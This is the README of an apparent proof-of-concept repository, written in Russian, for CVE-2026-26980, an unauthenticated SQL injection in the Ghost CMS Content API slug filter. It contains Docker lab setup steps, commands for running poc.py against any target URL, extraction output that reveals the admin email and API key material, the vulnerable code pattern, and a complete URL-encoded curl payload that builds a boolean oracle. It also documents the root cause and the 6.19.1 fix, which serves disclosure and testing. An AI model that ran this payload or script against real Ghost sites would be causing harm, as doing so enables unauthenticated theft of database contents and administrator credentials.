
Python PoC и Docker-лаборатория, демонстрирующие неаутентифицированную SQL-инъекцию в фильтре slug Content API TryGhost Ghost CMS с извлечением значений базы данных через булев оракул.
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 — это неаутентифицированная SQL-инъекция в TryGhost Ghost CMS Content API. Уязвимый путь доступен через логику обработки фильтров публичного Content API при обработке сортировки slug:[...].
Данный PoC разворачивает контролируемую лабораторную среду Ghost 6.19.0 и демонстрирует, как публичный запрос к Content API может быть превращён в примитив чтения базы данных на основе булевых условий.
| Продукт | Уязвимая версия | Исправленная версия | Тип уязвимости |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL-инъекция |
В лабораторной среде используется Ghost 6.19.0.
Соберите и запустите уязвимую среду Ghost CMS с помощью Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Пример:
http://127.0.0.1:9102/
Лабораторная среда запускает реальный уязвимый экземпляр Ghost 6.19.0 на порту 9102.
Ключ Content API лабораторной среды:
EQSTLab299
CVE-2026-26980 : уязвимость SQL-инъекции в TryGhost Ghost CMS Content API
description: Уязвимость SQL-инъекции в TryGhost Ghost CMS до 6.19.1 позволяет неаутентифицированному злоумышленнику, имеющему доступ к публичному ключу Content API, читать произвольные значения из базы данных через параметр фильтра Content API. Проблема возникает в пути сортировки фильтра slug:[...], где контролируемые пользователем значения slug вставляются в сырой SQL без надлежащей привязки параметров.
Ключи Ghost Content API по своей природе часто раскрываются браузерам через темы, поиск, портал или фронтенд JavaScript. Это означает, что уязвимый путь может быть доступен без аутентификации в Ghost Admin.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Опциональный пользовательский ключ Content API:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
Пример [Target]: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
Публичный PoC демонстрирует влияние на чтение базы данных путём извлечения безопасных для лабораторной среды метаданных базы данных и материалов ключей Ghost API. Он не выводит флаг задания.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
Уязвимая логика находится в пути сериализации входных данных Content API Ghost для фильтров slug:[...]. Ghost поддерживает фильтры slug в виде списка и сохраняет запрошенный порядок slug, генерируя выражение ORDER BY CASE.
В уязвимых версиях контролируемые пользователем значения slug вставляются в SQL-фрагмент. Упрощённый уязвимый шаблон:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Поскольку slug контролируется злоумышленником и вставляется в строку SQL без привязки параметров, специально сформированный фильтр Content API может выйти за пределы предполагаемого сравнения и внедрить дополнительную SQL-логику.
Лабораторный PoC использует два публичных тега, bacon и chorizo, в качестве наблюдаемого булева оракула.
bacon сортируется первым.chorizo сортируется первым.Повторяя этот тест с разными SQL-условиями, PoC может выводить значения из базы данных по одному символу за раз.
Проверка булева оракула с помощью curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
Первопричина — небезопасное построение SQL-фрагмента ORDER BY CASE из контролируемых пользователем значений slug. Уязвимый код пытается сохранить порядок ответа Content API, но обращается с разобранными значениями фильтра NQL как с доверенным SQL-текстом.
Надёжное исправление должно:
Ghost исправил эту проблему в 6.19.1, заменив сырую интерполяцию на параметризованные привязки запросов.
Это проблема CWE-89: Improper Neutralization of Special Elements used in an SQL Command.
Поскольку Ghost Content API намеренно является публичным, эта уязвимость может позволить неаутентифицированному злоумышленнику создать примитив чтения базы данных через публичную конечную точку контента. В зависимости от содержимого базы данных и разрешений злоумышленник может:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
Эта лабораторная среда запускает реальный уязвимый экземпляр Ghost 6.19.0, а не минимальный mock-сервер.
Лабораторная среда наполняет: